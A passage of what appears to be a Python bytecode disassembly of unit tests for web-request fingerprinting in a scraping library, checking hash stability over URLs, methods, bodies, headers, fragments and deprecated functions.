LOAD_CONST b'en' LOAD_FAST r2 LOAD_ATTR headers LOAD_CONST 'Accept-Language' STORE_SUBSCR LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com/' CALL_FUNCTION STORE_FAST r3 LOAD_CONST b'en' LOAD_FAST r3 LOAD_ATTR headers LOAD_CONST 'Accept-Language' STORE_SUBSCR LOAD_CONST b'somehash' LOAD_FAST r3 LOAD_ATTR headers LOAD_CONST 'SESSIONID' STORE_SUBSCR LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST self LOAD_METHOD function LOAD_FAST r1 CALL_METHOD LOAD_FAST self LOAD_METHOD function LOAD_FAST r2 CALL_METHOD LOAD_FAST self LOAD_METHOD function LOAD_FAST r3 CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST self LOAD_METHOD function LOAD_FAST r1 CALL_METHOD LOAD_FAST self LOAD_ATTR function LOAD_FAST r1 LOAD_CONST 'Accept-Language' BUILD_LIST LOAD_CONST ('include_headers',) CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertNotEqual LOAD_FAST self LOAD_METHOD function LOAD_FAST r1 CALL_METHOD LOAD_FAST self LOAD_ATTR function LOAD_FAST r2 LOAD_CONST 'Accept-Language' BUILD_LIST LOAD_CONST ('include_headers',) CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST self LOAD_ATTR function LOAD_FAST r3 LOAD_CONST 'accept-language' LOAD_CONST 'sessionid' BUILD_LIST LOAD_CONST ('include_headers',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR function LOAD_FAST r3 LOAD_CONST 'SESSIONID' LOAD_CONST 'Accept-Language' BUILD_LIST LOAD_CONST ('include_headers',) CALL_FUNCTION CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com/test.html' CALL_FUNCTION STORE_FAST r1 LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com/test.html#fragment' CALL_FUNCTION STORE_FAST r2 LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST self LOAD_METHOD function LOAD_FAST r1 CALL_METHOD LOAD_FAST self LOAD_METHOD function LOAD_FAST r2 CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST self LOAD_METHOD function LOAD_FAST r1 CALL_METHOD LOAD_FAST self LOAD_ATTR function LOAD_FAST r1 LOAD_CONST True LOAD_CONST ('keep_fragments',) CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertNotEqual LOAD_FAST self LOAD_METHOD function LOAD_FAST r2 CALL_METHOD LOAD_FAST self LOAD_ATTR function LOAD_FAST r2 LOAD_CONST True LOAD_CONST ('keep_fragments',) CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertNotEqual LOAD_FAST self LOAD_METHOD function LOAD_FAST r1 CALL_METHOD LOAD_FAST self LOAD_ATTR function LOAD_FAST r2 LOAD_CONST True LOAD_CONST ('keep_fragments',) CALL_FUNCTION CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' CALL_FUNCTION STORE_FAST r1 LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' LOAD_CONST 'POST' LOAD_CONST ('method',) CALL_FUNCTION STORE_FAST r2 LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' LOAD_CONST 'POST' LOAD_CONST b'request body' LOAD_CONST ('method', 'body') CALL_FUNCTION STORE_FAST r3 LOAD_FAST self LOAD_METHOD assertNotEqual LOAD_FAST self LOAD_METHOD function LOAD_FAST r1 CALL_METHOD LOAD_FAST self LOAD_METHOD function LOAD_FAST r2 CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertNotEqual LOAD_FAST self LOAD_METHOD function LOAD_FAST r2 CALL_METHOD LOAD_FAST self LOAD_METHOD function LOAD_FAST r3 CALL_METHOD CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' CALL_FUNCTION STORE_FAST r1 LOAD_FAST self LOAD_METHOD function LOAD_FAST r1 CALL_METHOD STORE_FAST fp1 LOAD_FAST r1 LOAD_ATTR replace LOAD_CONST 'http://www.example.com/other' LOAD_CONST ('url',) CALL_FUNCTION STORE_FAST r2 LOAD_FAST self LOAD_METHOD function LOAD_FAST r2 CALL_METHOD STORE_FAST fp2 LOAD_FAST self LOAD_METHOD assertNotEqual LOAD_FAST fp1 LOAD_FAST fp2 CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com/foo' CALL_FUNCTION STORE_FAST r1 LOAD_FAST self LOAD_METHOD function LOAD_FAST r1 CALL_METHOD STORE_FAST fp1 LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com/f' LOAD_CONST b'oo' LOAD_CONST ('body',) CALL_FUNCTION STORE_FAST r2 LOAD_FAST self LOAD_METHOD function LOAD_FAST r2 CALL_METHOD STORE_FAST fp2 LOAD_FAST self LOAD_METHOD assertNotEqual LOAD_FAST fp1 LOAD_FAST fp2 CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7f8ab62f5db0, file "f.py", line 226> LOAD_CONST 'FingerprintTest.test_hashes.<locals>.<listcomp>' MAKE_FUNCTION LOAD_DEREF self LOAD_ATTR known_hashes GET_ITER CALL_FUNCTION STORE_FAST actual LOAD_CONST <code object <listcomp> at 0x7f8ab62f5f60, file "f.py", line 228> LOAD_CONST 'FingerprintTest.test_hashes.<locals>.<listcomp>' MAKE_FUNCTION LOAD_DEREF self LOAD_ATTR known_hashes GET_ITER CALL_FUNCTION STORE_FAST expected LOAD_DEREF self LOAD_METHOD assertEqual LOAD_FAST actual LOAD_FAST expected CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 30 UNPACK_SEQUENCE STORE_FAST request STORE_FAST _ STORE_FAST kwargs LOAD_DEREF self LOAD_ATTR function LOAD_FAST request BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 UNPACK_SEQUENCE STORE_FAST _ STORE_FAST _fingerprint STORE_FAST _ LOAD_FAST _fingerprint LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'RequestFingerprintTest' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_NAME staticmethod LOAD_NAME request_fingerprint CALL_FUNCTION STORE_NAME function LOAD_NAME _deprecated_fingerprint_cache STORE_NAME cache LOAD_NAME Request LOAD_CONST 'http://example.org' CALL_FUNCTION LOAD_CONST 'b2e5245ef826fd9576c93bd6e392fce3133fab62' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org' CALL_FUNCTION LOAD_CONST 'bd10a0a89ea32cdee77917320f1309b0da87e892' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org?a' CALL_FUNCTION LOAD_CONST '2fb7d48ae02f04b749f40caa969c0bc3c43204ce' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org?a=b' CALL_FUNCTION LOAD_CONST '42e5fe149b147476e3f67ad0670c57b4cc57856a' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org?a=b&a' CALL_FUNCTION LOAD_CONST 'd23a9787cb56c6375c2cae4453c5a8c634526942' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org?a=b&a=c' CALL_FUNCTION LOAD_CONST '9a18a7a8552a9182b7f1e05d33876409e421e5c5' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org' LOAD_CONST 'POST' LOAD_CONST ('method',) CALL_FUNCTION LOAD_CONST 'ba20a80cb5c5ca460021ceefb3c2467b2bfd1bc6' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org' LOAD_CONST b'a' LOAD_CONST ('body',) CALL_FUNCTION LOAD_CONST '4bb136e54e715a4ea7a9dd1101831765d33f2d60' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org' LOAD_CONST 'POST' LOAD_CONST b'a' LOAD_CONST ('method', 'body') CALL_FUNCTION LOAD_CONST '6c6595374a304b293be762f7b7be3f54e9947c65' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org#a' LOAD_CONST 'A' LOAD_CONST b'B' BUILD_MAP LOAD_CONST ('headers',) CALL_FUNCTION LOAD_CONST 'bd10a0a89ea32cdee77917320f1309b0da87e892' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org#a' LOAD_CONST 'A' LOAD_CONST b'B' BUILD_MAP LOAD_CONST ('headers',) CALL_FUNCTION LOAD_CONST '515b633cb3ca502a33a9d8c890e889ec1e425e65' LOAD_CONST 'include_headers' LOAD_CONST 'A' BUILD_LIST BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org#a' LOAD_CONST 'A' LOAD_CONST b'B' BUILD_MAP LOAD_CONST ('headers',) CALL_FUNCTION LOAD_CONST '505c96e7da675920dfef58725e8c957dfdb38f47' LOAD_CONST 'keep_fragments' LOAD_CONST True BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org#a' LOAD_CONST 'A' LOAD_CONST b'B' BUILD_MAP LOAD_CONST ('headers',) CALL_FUNCTION LOAD_CONST 'd6f673cdcb661b7970c2b9a00ee63e87d1e2e5da' LOAD_CONST 'A' BUILD_LIST LOAD_CONST True LOAD_CONST ('include_headers', 'keep_fragments') BUILD_CONST_KEY_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org/ab' CALL_FUNCTION LOAD_CONST '4e2870fee58582d6f81755e9b8fdefe3cba0c951' BUILD_MAP BUILD_TUPLE LOAD_NAME Request LOAD_CONST 'https://example.org/a' LOAD_CONST b'b' LOAD_CONST ('body',) CALL_FUNCTION LOAD_CONST '4e2870fee58582d6f81755e9b8fdefe3cba0c951' BUILD_MAP BUILD_TUPLE BUILD_TUPLE STORE_NAME known_hashes LOAD_NAME Tuple LOAD_NAME Tuple LOAD_NAME Request LOAD_NAME Union LOAD_NAME bytes LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Dict BUILD_TUPLE BINARY_SUBSCR LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR LOAD_NAME __annotations__ LOAD_CONST 'known_hashes' STORE_SUBSCR LOAD_CONST None LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object setUp at 0x7f8ab62f58a0, file "f.py", line 313> LOAD_CONST 'RequestFingerprintTest.setUp' MAKE_FUNCTION STORE_NAME setUp LOAD_CONST None LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object tearDown at 0x7f8ab62f5150, file "f.py", line 316> LOAD_CONST 'RequestFingerprintTest.tearDown' MAKE_FUNCTION STORE_NAME tearDown LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR xfail LOAD_CONST 'known bug kept for backward compatibility' LOAD_CONST True LOAD_CONST ('reason', 'strict') CALL_FUNCTION LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object test_part_separation at 0x7f8ab62f5420, file "f.py", line 319> LOAD_CONST 'RequestFingerprintTest.test_part_separation' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_part_separation LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL warnings LOAD_METHOD simplefilter LOAD_CONST 'ignore' LOAD_GLOBAL ScrapyDeprecationWarning CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL warnings LOAD_METHOD simplefilter LOAD_CONST 'default' LOAD_GLOBAL ScrapyDeprecationWarning CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD test_part_separation CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'RequestFingerprintDeprecationTest' STORE_NAME __qualname__ LOAD_CONST <code object test_deprecation_default_parameters at 0x7f8ab62f51e0, file "f.py", line 325> LOAD_CONST 'RequestFingerprintDeprecationTest.test_deprecation_default_parameters' MAKE_FUNCTION STORE_NAME test_deprecation_default_parameters LOAD_CONST <code object test_deprecation_non_default_parameters at 0x7f8a95a1f5d0, file "f.py", line 334> LOAD_CONST 'RequestFingerprintDeprecationTest.test_deprecation_non_default_parameters' MAKE_FUNCTION STORE_NAME test_deprecation_non_default_parameters LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD warns LOAD_GLOBAL ScrapyDeprecationWarning CALL_METHOD SETUP_WITH to 28 STORE_FAST warnings LOAD_GLOBAL request_fingerprint LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' CALL_FUNCTION CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST <code object <listcomp> at 0x7f8ab62f59c0, file "f.py", line 328> LOAD_CONST 'RequestFingerprintDeprecationTest.test_deprecation_default_parameters.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST warnings GET_ITER CALL_FUNCTION STORE_FAST messages LOAD_FAST self LOAD_METHOD assertTrue LOAD_GLOBAL any LOAD_CONST <code object <genexpr> at 0x7f8ab62f5930, file "f.py", line 330> LOAD_CONST 'RequestFingerprintDeprecationTest.test_deprecation_default_parameters.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST messages GET_ITER CALL_FUNCTION CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertFalse LOAD_GLOBAL any LOAD_CONST <code object <genexpr> at 0x7f8ab62f5ed0, file "f.py", line 332> LOAD_CONST 'RequestFingerprintDeprecationTest.test_deprecation_default_parameters.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST messages GET_ITER CALL_FUNCTION CALL_FUNCTION CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST warning LOAD_GLOBAL str LOAD_FAST warning LOAD_ATTR message CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST message LOAD_CONST 'Call to deprecated function' LOAD_FAST message COMPARE_OP in YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST message LOAD_CONST 'non-default' LOAD_FAST message COMPARE_OP in YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD warns LOAD_GLOBAL ScrapyDeprecationWarning CALL_METHOD SETUP_WITH to 32 STORE_FAST warnings LOAD_GLOBAL request_fingerprint LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com' CALL_FUNCTION LOAD_CONST True LOAD_CONST ('keep_fragments',) CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST <code object <listcomp> at 0x7f8ab62f56f0, file "f.py", line 337> LOAD_CONST 'RequestFingerprintDeprecationTest.test_deprecation_non_default_parameters.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST warnings GET_ITER CALL_FUNCTION STORE_FAST messages LOAD_FAST self LOAD_METHOD assertTrue LOAD_GLOBAL any LOAD_CONST <code object <genexpr> at 0x7f8a95a1f660, file "f.py", line 339> LOAD_CONST 'RequestFingerprintDeprecationTest.test_deprecation_non_default_parameters.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST messages GET_ITER CALL_FUNCTION CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertTrue LOAD_GLOBAL any LOAD_CONST <code object <genexpr> at 0x7f8a95a1f300, file "f.py", line 341> LOAD_CONST 'RequestFingerprintDeprecationTest.test_deprecation_non_default_parameters.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST messages GET_ITER CALL_FUNCTION CALL_FUNCTION CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST warning LOAD_GLOBAL str LOAD_FAST warning LOAD_ATTR message CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST message LOAD_CONST 'Call to deprecated function' LOAD_FAST message COMPARE_OP in YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST message LOAD_CONST 'non-default' LOAD_FAST message COMPARE_OP in YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'RequestFingerprintAsBytesTest' STORE_NAME __qualname__ LOAD_NAME staticmethod LOAD_NAME _request_fingerprint_as_bytes CALL_FUNCTION STORE_NAME function LOAD_NAME _deprecated_fingerprint_cache STORE_NAME cache LOAD_NAME RequestFingerprintTest LOAD_ATTR known_hashes STORE_NAME known_hashes LOAD_CONST <code object test_caching at 0x7f8a95a1f390, file "f.py", line 349> LOAD_CONST 'RequestFingerprintAsBytesTest.test_caching' MAKE_FUNCTION STORE_NAME test_caching LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR xfail LOAD_CONST 'known bug kept for backward compatibility' LOAD_CONST True LOAD_CONST ('reason', 'strict') CALL_FUNCTION LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object test_part_separation at 0x7f8a95a1f6f0, file "f.py", line 355> LOAD_CONST 'RequestFingerprintAsBytesTest.test_part_separation' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_part_separation LOAD_CONST <code object test_hashes at 0x7f8a95a1f930, file "f.py", line 359> LOAD_CONST 'RequestFingerprintAsBytesTest.test_hashes' MAKE_FUNCTION STORE_NAME test_hashes LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL Request LOAD_CONST 'http://www.example.com/hnnoticiaj1.aspx?78160,199' CALL_FUNCTION STORE_FAST r1 LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST self LOAD_METHOD function LOAD_FAST r1 CALL_METHOD LOAD_GLOBAL bytes LOAD_METHOD fromhex LOAD_FAST self LOAD_ATTR cache LOAD_FAST r1 BINARY_SUBSCR LOAD_FAST self LOAD_ATTR default_cache_key BINARY_SUBSCR CALL_METHOD CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD test_part_separation CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7f8a95a1f9c0, file "f.py", line 361> LOAD_CONST 'RequestFingerprintAsBytesTest.test_hashes.<locals>.<listcomp>' MAKE_FUNCTION LOAD_DEREF self LOAD_ATTR known_hashes GET_ITER CALL_FUNCTION STORE_FAST actual LOAD_CONST <code object <listcomp> at 0x7f8a95a1f8a0, file "f.py", line 364> LOAD_CONST 'RequestFingerprintAsBytesTest.test_hashes.<locals>.<listcomp>' MAKE_FUNCTION LOAD_DEREF self LOAD_ATTR known_hashes GET_ITER CALL_FUNCTION STORE_FAST expected LOAD_DEREF self LOAD_METHOD assertEqual LOAD_FAST actual LOAD_FAST expected CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 30 UNPACK_SEQUENCE STORE_FAST request STORE_FAST _ STORE_FAST kwargs LOAD_DEREF self LOAD_ATTR function LOAD_FAST request BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 26 UNPACK_SEQUENCE STORE_FAST _ STORE_FAST _fingerprint STORE_FAST _ LOAD_GLOBAL bytes LOAD_METHOD fromhex LOAD_FAST _fingerprint CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST include_headers POP_JUMP_IF_FALSE LOAD_GLOBAL tuple LOAD_CONST <code object <genexpr> at 0x7f8a95a1fb70, file "f.py", line 374> LOAD_CONST 'request_fingerprint_2_6.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL sorted LOAD_FAST include_headers CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST include_headers LOAD_GLOBAL _fingerprint_cache_2_6 LOAD_METHOD setdefault LOAD_FAST request BUILD_MAP CALL_METHOD STORE_FAST cache LOAD_FAST include_headers LOAD_FAST keep_fragments BUILD_TUPLE STORE_FAST cache_key LOAD_FAST cache_key LOAD_FAST cache COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL sha1 CALL_FUNCTION STORE_FAST fp LOAD_FAST fp LOAD_METHOD update LOAD_GLOBAL to_bytes LOAD_FAST request LOAD_ATTR method CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST fp LOAD_METHOD update LOAD_GLOBAL to_bytes LOAD_GLOBAL canonicalize_url LOAD_FAST request LOAD_ATTR url LOAD_FAST keep_fragments LOAD_CONST ('keep_fragments',) CALL_FUNCTION CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST fp LOAD_METHOD update LOAD_FAST request LOAD_ATTR body JUMP_IF_TRUE_OR_POP LOAD_CONST b'' CALL_METHOD POP_TOP LOAD_FAST include_headers POP_JUMP_IF_FALSE SETUP_LOOP to 186 LOAD_FAST include_headers GET_ITER FOR_ITER to 184 STORE_FAST hdr LOAD_FAST hdr LOAD_FAST request LOAD_ATTR headers COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST fp LOAD_METHOD update LOAD_FAST hdr CALL_METHOD POP_TOP SETUP_LOOP to 182 LOAD_FAST request LOAD_ATTR headers LOAD_METHOD getlist LOAD_FAST hdr CALL_METHOD GET_ITER FOR_ITER to 180 STORE_FAST v LOAD_FAST fp LOAD_METHOD update LOAD_FAST v CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_FAST fp LOAD_METHOD hexdigest CALL_METHOD LOAD_FAST cache LOAD_FAST cache_key STORE_SUBSCR LOAD_FAST cache LOAD_FAST cache_key BINARY_SUBSCR RETURN_VALUE LOAD_FAST .0 FOR_ITER to 22 STORE_FAST h LOAD_GLOBAL to_bytes LOAD_FAST h LOAD_METHOD lower CALL_METHOD CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'BackwardCompatibilityTestCase' STORE_NAME __qualname__ LOAD_CONST <code object test_function_backward_compatibility at 0x7f8a95a1fc90, file "f.py", line 424> LOAD_CONST 'BackwardCompatibilityTestCase.test_function_backward_compatibility' MAKE_FUNCTION STORE_NAME test_function_backward_compatibility LOAD_CONST <code object test_component_backward_compatibility at 0x7f8a95a1fed0, file "f.py", line 448> LOAD_CONST 'BackwardCompatibilityTestCase.test_component_backward_compatibility' MAKE_FUNCTION STORE_NAME test_component_backward_compatibility LOAD_CONST <code object test_custom_component_backward_compatibility at 0x7f8a95a1fe40, file "f.py", line 457> LOAD_CONST 'BackwardCompatibilityTestCase.test_custom_component_backward_compatibility' MAKE_FUNCTION STORE_NAME test_custom_component_backward_compatibility LOAD_CONST None RETURN_VALUE LOAD_CONST None LOAD_CONST 'Accept-Language' BUILD_LIST LOAD_CONST 'accept-language' LOAD_CONST 'sessionid' BUILD_LIST LOAD_CONST 'SESSIONID' LOAD_CONST 'Accept-Language' BUILD_LIST BUILD_TUPLE STORE_FAST include_headers_to_test SETUP_LOOP to 134 LOAD_GLOBAL REQUEST_OBJECTS_TO_TEST GET_ITER FOR_ITER to 132 STORE_FAST request_object SETUP_LOOP to 130 LOAD_FAST include_headers_to_test GET_ITER FOR_ITER to 128 STORE_FAST include_headers SETUP_LOOP to 126 LOAD_CONST (False, True) GET_ITER FOR_ITER to 124 STORE_FAST keep_fragments LOAD_GLOBAL warnings LOAD_METHOD catch_warnings CALL_METHOD SETUP_WITH to 90 POP_TOP LOAD_GLOBAL warnings LOAD_METHOD simplefilter LOAD_CONST 'ignore' CALL_METHOD POP_TOP LOAD_GLOBAL request_fingerprint LOAD_FAST request_object LOAD_FAST include_headers LOAD_FAST keep_fragments LOAD_CONST ('include_headers', 'keep_fragments') CALL_FUNCTION STORE_FAST fp POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL request_fingerprint_2_6 LOAD_FAST request_object LOAD_FAST include_headers LOAD_FAST keep_fragments LOAD_CONST ('include_headers', 'keep_fragments') CALL_FUNCTION STORE_FAST old_fp LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST fp LOAD_FAST old_fp CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE SETUP_LOOP to 90 LOAD_GLOBAL REQUEST_OBJECTS_TO_TEST GET_ITER FOR_ITER to 88 STORE_FAST request_object LOAD_GLOBAL warnings LOAD_METHOD catch_warnings CALL_METHOD SETUP_WITH to 56 POP_TOP LOAD_GLOBAL warnings LOAD_METHOD simplefilter LOAD_CONST 'ignore' CALL_METHOD POP_TOP LOAD_GLOBAL get_crawler LOAD_CONST False LOAD_CONST ('prevent_warnings',) CALL_FUNCTION STORE_FAST crawler LOAD_FAST crawler LOAD_ATTR request_fingerprinter LOAD_METHOD fingerprint LOAD_FAST request_object CALL_METHOD STORE_FAST fp POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL request_fingerprint_2_6 LOAD_FAST request_object CALL_FUNCTION STORE_FAST old_fp LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST fp LOAD_METHOD hex CALL_METHOD LOAD_FAST old_fp CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object RequestFingerprinter at 0x7f8a95a1fdb0, file "f.py", line 462> LOAD_CONST 'RequestFingerprinter' MAKE_FUNCTION LOAD_CONST 'RequestFingerprinter' CALL_FUNCTION STORE_FAST RequestFingerprinter SETUP_LOOP to 112 LOAD_GLOBAL REQUEST_OBJECTS_TO_TEST GET_ITER FOR_ITER to 110 STORE_FAST request_object LOAD_GLOBAL warnings LOAD_METHOD catch_warnings CALL_METHOD SETUP_WITH to 68 STORE_FAST logged_warnings LOAD_CONST 'REQUEST_FINGERPRINTER_CLASS' LOAD_FAST RequestFingerprinter BUILD_MAP STORE_FAST settings LOAD_GLOBAL get_crawler LOAD_FAST settings LOAD_CONST ('settings_dict',) CALL_FUNCTION STORE_FAST crawler LOAD_FAST crawler LOAD_ATTR request_fingerprinter LOAD_METHOD fingerprint LOAD_FAST request_object CALL_METHOD STORE_FAST fp POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL request_fingerprint_2_6 LOAD_FAST request_object CALL_FUNCTION STORE_FAST old_fp LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST fp LOAD_METHOD hex CALL_METHOD LOAD_FAST old_fp CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertFalse LOAD_FAST logged_warnings CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'BackwardCompatibilityTestCase.test_custom_component_backward_compatibility.<locals>.RequestFingerprinter' STORE_NAME __qualname__ LOAD_NAME WeakKeyDictionary CALL_FUNCTION STORE_NAME cache LOAD_CONST <code object fingerprint at 0x7f8a95a1ff60, file "f.py", line 465> LOAD_CONST 'BackwardCompatibilityTestCase.test_custom_component_backward_compatibility.<locals>.RequestFingerprinter.fingerprint' MAKE_FUNCTION STORE_NAME fingerprint LOAD_CONST None RETURN_VALUE LOAD_FAST request LOAD_FAST self LOAD_ATTR cache COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL sha1 CALL_FUNCTION STORE_FAST fp LOAD_FAST fp LOAD_METHOD update LOAD_GLOBAL to_bytes LOAD_FAST request LOAD_ATTR method CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST fp LOAD_METHOD update LOAD_GLOBAL to_bytes LOAD_GLOBAL canonicalize_url LOAD_FAST request LOAD_ATTR url CALL_FUNCTION CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST fp LOAD_METHOD update LOAD_FAST request LOAD_ATTR body JUMP_IF_TRUE_OR_POP LOAD_CONST b'' CALL_METHOD POP_TOP LOAD_FAST fp LOAD_METHOD digest 